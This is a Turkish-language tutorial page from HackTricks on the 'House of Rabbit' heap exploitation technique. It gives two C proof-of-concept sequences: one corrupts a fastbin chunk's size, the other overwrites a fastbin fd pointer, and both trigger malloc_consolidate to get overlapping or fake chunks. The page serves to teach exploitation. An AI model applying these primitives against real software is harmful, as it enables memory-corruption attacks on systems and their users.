House of Rabbit

Reading time: 4 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Gereksinimler

  1. Hızlı bin fd işaretçisini veya boyutunu değiştirme yeteneği: Bu, hızlı bin içindeki bir parçanın ileri işaretçisini veya boyutunu değiştirebileceğiniz anlamına gelir.
  2. malloc_consolidate tetikleme yeteneği: Bu, ya büyük bir parça ayırarak ya da üst parçayı birleştirerek yapılabilir; bu, yığın parçalarını birleştirmeye zorlar.

Hedefler

  1. Üst üste binen parçalar oluşturma: Bir parçanın diğerinin üstüne gelmesini sağlamak, böylece daha fazla yığın manipülasyonu yapılmasına olanak tanımak.
  2. Sahte parçalar oluşturma: Yığın işlemleri sırasında sahte bir parçayı meşru bir parça olarak ele alması için ayırıcıyı kandırmak.

Saldırı Adımları

POC 1: Hızlı bin parça boyutunu değiştirme

Amaç: Hızlı bin parçasının boyutunu manipüle ederek üst üste binen bir parça oluşturmak.

  • Adım 1: Parçaları Ayır
cpp
unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40);  // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10);                          // Allocates a small chunk to change the fastbin state

İki adet 0x40 baytlık parça ayırıyoruz. Bu parçalar serbest bırakıldıklarında hızlı kutu listesine yerleştirilecektir.

  • Adım 2: Parçaları Serbest Bırak
cpp
free(chunk1);  // Frees the chunk at 0x602000
free(chunk2);  // Frees the chunk at 0x602050

İki parçayı serbest bırakıyoruz ve bunları fastbin listesine ekliyoruz.

  • Adım 3: Parça Boyutunu Değiştir
cpp
chunk1[-1] = 0xa1;  // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])

chunk1'in boyut meta verisini 0xa1 olarak değiştiriyoruz. Bu, birleştirme sırasında allocator'ı kandırmak için kritik bir adımdır.

  • Adım 4: malloc_consolidate'i Tetikle
cpp
malloc(0x1000);  // Allocate a large chunk to trigger heap consolidation

Büyük bir parça ayırmak, hızlı bin içindeki küçük parçaları birleştiren malloc_consolidate fonksiyonunu tetikler. Manipüle edilmiş chunk1 boyutu, chunk2 ile örtüşmesine neden olur.

Konsolidasyondan sonra, chunk1 chunk2 ile örtüşür ve daha fazla istismar olanağı sağlar.

POC 2: fd işaretçisini değiştir

Amaç: Hızlı bin fd işaretçisini manipüle ederek sahte bir parça oluşturmak.

  • Adım 1: Parçaları Ayır
cpp
unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050

Açıklama: Yığın için sahte parça oluşturmak üzere bir küçük ve bir büyük iki parça ayırıyoruz.

  • Adım 2: Sahte parça oluştur
cpp
chunk2[1] = 0x31;  // Fake chunk size 0x30
chunk2[7] = 0x21;  // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk

chunk2 içine sahte parça meta verisi yazarak daha küçük parçaları simüle ediyoruz.

  • Adım 3: chunk1'i serbest bırak
cpp
free(chunk1);  // Frees the chunk at 0x602000

Açıklama: chunk1'i serbest bırakıyoruz, hızlı listeye ekliyoruz.

  • Adım 4: chunk1'in fd'sini Değiştir
cpp
chunk1[0] = 0x602060;  // Modify the fd of chunk1 to point to the fake chunk within chunk2

Açıklama: chunk1'in ileri işaretçisini (fd) chunk2 içindeki sahte parçamıza işaret edecek şekilde değiştiriyoruz.

  • Adım 5: malloc_consolidate'i tetikle
cpp
malloc(5000);  // Allocate a large chunk to trigger heap consolidation

Büyük bir parça yeniden tahsis edildiğinde malloc_consolidate tetiklenir, bu da sahte parçayı işler.

Sahte parça, hızlı listeye dahil olur ve bu da onu daha fazla istismar için meşru bir parça haline getirir.

Özet

House of Rabbit tekniği, bir hızlı parça boyutunu değiştirerek üst üste binen parçalar oluşturmayı veya sahte parçalar oluşturmak için fd işaretçisini manipüle etmeyi içerir. Bu, saldırganların yığında meşru parçalar oluşturmasına olanak tanır ve çeşitli istismar biçimlerini mümkün kılar. Bu adımları anlamak ve uygulamak, yığın istismar becerilerinizi geliştirecektir.

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin